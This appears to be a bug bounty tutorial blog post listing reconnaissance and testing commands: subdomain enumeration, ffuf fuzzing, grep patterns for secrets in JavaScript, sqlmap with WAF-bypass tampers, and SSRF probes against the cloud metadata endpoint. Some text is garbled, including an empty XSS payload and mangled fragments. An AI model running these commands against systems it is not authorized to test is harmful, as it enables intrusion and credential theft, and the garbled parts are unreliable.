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Introduction:
Reaching a 1000-reputation milestone on HackerOne, like the recent achievement by researcher Mo’men Elmady, is a testament to more than just finding bugs; it’s about mastering a sophisticated technical workflow. This elite level of success across major programs like Epic Games, Cloudflare, and Akamai is built upon a deep, command-level understanding of reconnaissance, vulnerability identification, and exploitation. This article deconstructs the essential commands and techniques that form the backbone of a top-tier bug bounty hunter’s toolkit.
Learning Objectives:
- Master advanced reconnaissance and subdomain enumeration techniques using automated tools and custom scripts.
- Understand and apply commands for identifying and exploiting common web application vulnerabilities like SQLi, XSS, and SSRF.
- Develop a methodology for efficient vulnerability analysis, proof-of-concept development, and report writing.
You Should Know:
1. Aggressive Subdomain Enumeration with `amass` and `subfinder`
`amass enum -active -d target.com -brute -w ~/wordlists/subdomains.txt`
`subfinder -d target.com -all -o subfinder_results.txt`
Step‑by‑step guide: Passive and active subdomain enumeration is the critical first step in expanding your attack surface. The `amass` command performs intense enumeration, using active DNS resolution (-active), brute-forcing (-brute) with a custom wordlist. `Subfinder` is then used to consolidate results from numerous public sources (-all). Combine and sort the outputs: cat amass_results.txt subfinder_results.txt | sort -u > all_subs.txt. Then, probe these subdomains for live web servers using httpx: cat all_subs.txt | httpx -title -status-code -tech-detect -o live_targets.txt.
- Content Discovery and Hidden Path Brute-Forcing with `ffuf`
`ffuf -w ~/wordlists/common.txt -u https://target.com/FUZZ -mc 200,301,302,403 -ac -t 100`
`ffuf -w ~/wordlists/parameters.txt -u https://api.target.com/endpoint?FUZZ=test -fr “error”`
Step‑by‑step guide: `Ffuf` is a fast web fuzzer. The first command fuzzes for directories and files (FUZZ), filtering for successful HTTP status codes and auto-calibrating filters (-ac). The second command fuzzes for HTTP parameters. The `-fr` flag filters out responses containing “error”, helping to identify parameters that the endpoint actually processes. Always use custom, refined wordlists for better results against specific targets. -
JavaScript File Analysis for Hidden Endpoints and Secrets
`cat js_files.txt | grep -Eo “(http|https)://[a-zA-Z0-9./?=_-]” | sort -u`
`cat js_files.txt | grep -i “api\|token\|key\|auth\|jwt\|secret\|password”`
Step‑by‑step guide: After gathering JS files (e.g., with `katana` or gau), these `grep` commands extract all URLs and hunt for hardcoded secrets. This is a prime method for discovering hidden API endpoints, internal domains, and sensitive credentials leaked in client-side code. Automate this: use `LinkFinder` or `SecretFinder` for more advanced analysis.
4. Identifying SQL Injection Vulnerabilities with `sqlmap`
`sqlmap -u “https://target.com/page?id=1” –batch –level=3 –risk=3 –dbs`
`sqlmap -r request.txt –batch –technique=U –tamper=charunicodeescape`
Step‑by‑step guide: The first command tests a GET parameter for SQLi, automatically proceeding (--batch) with thorough testing. The second command loads an HTTP request from a file (-r request.txt)—crucial for testing POST requests and cookies—and specifies using UNION-based technique (-U) with a tamper script to bypass WAFs. Always test on authorized targets only.
5. Automated XSS Probing with `nuclei`
`nuclei -l live_targets.txt -t ~/nuclei-templates/exposures/apis/ -t ~/nuclei-templates/vulnerabilities/generic/xss.yaml -o nuclei_findings.txt`
Step‑by‑step guide: `Nuclei` uses community-powered templates to scan for thousands of vulnerabilities. This command scans all your live targets (-l) for specific vulnerability classes: API exposures and generic XSS. It’s incredibly efficient for initial, broad screening. For manual confirmation, craft payloads: `` and test all reflection points.
6. Server-Side Request Forgery (SSRF) Testing and Exploitation
`python3 ssrf.py -f targets.txt -p http://yourburpcollaborator.net`
`curl -X POST http://target.com/webhook -d ‘{“url”:”http://169.254.169.254/latest/meta-data/”}’ -H “Content-Type: application/json”Step‑by‑step guide: Automated tools like `ssrf.py` can spray a list of targets with payloads pointing to your Burp Collaborator server. The `curl` command demonstrates a manual test against a potential internal API endpoint, attempting to access the cloud instance metadata service—a common SSRF prize. Always test for bypasses using different URL encodings and host notations (e.g.,[email protected]`, decimal IPs).
7. Cloud Metadata Service Assessment
`curl http://169.254.169.254/latest/meta-data/`
`curl -H “X-Forwarded-For: 169.254.169.254” http://target.com/admin`
Step‑by‑step guide: The first command directly checks for an exposed metadata service on a compromised host. The second command is a common test from within an SSRF vulnerability, trying to trick the application into thinking the request to the metadata service is coming from itself. If the application uses the `X-Forwarded-For` header for logic, this might bypass protections.
What Undercode Say:
- Reconnaissance is King: The depth and breadth of your initial reconnaissance directly correlate with your success rate. Automating subdomain enumeration, content discovery, and JS analysis is non-negotiable for uncovering the attack surface that others miss.
- Tool Mastery Over Tool Count: Elite hunters are not defined by the number of tools they know but by their deep, scriptable mastery of a core set like
ffuf,sqlmap,nuclei, andcurl. They chain these tools together in custom pipelines. - Analysis: The featured researcher’s success on hardened targets like Cloudflare and Akamai isn’t about finding zero-days on day one. It’s a numbers game powered by automated, comprehensive recon that finds the one overlooked, misconfigured subdomain among thousands. It’s about using `grep` and `curl` with surgical precision to turn a vague hint in a JavaScript file into a viable exploit chain. This methodology transforms a seemingly impenetrable target into a series of logical, command-line driven steps, turning persistence and automation into a high-impact reputation score.
Prediction:
The automation and sophistication of reconnaissance will continue to accelerate, pushing bug bounty programs to harden not just their main applications but their entire digital footprint. We will see a rise in programs offering higher bounties for vulnerabilities found in peripheral assets (e.g., forgotten acquisition domains, misconfigured S3 buckets accessed via SSRF) rather than the core application. This will force hunters to become even more proficient in cloud security, API security, and automating intelligence gathering, making the command line more critical than ever.
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IT/Security Reporter URL:
Reported By: https://lnkd.in/p/dWX6vg8k – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
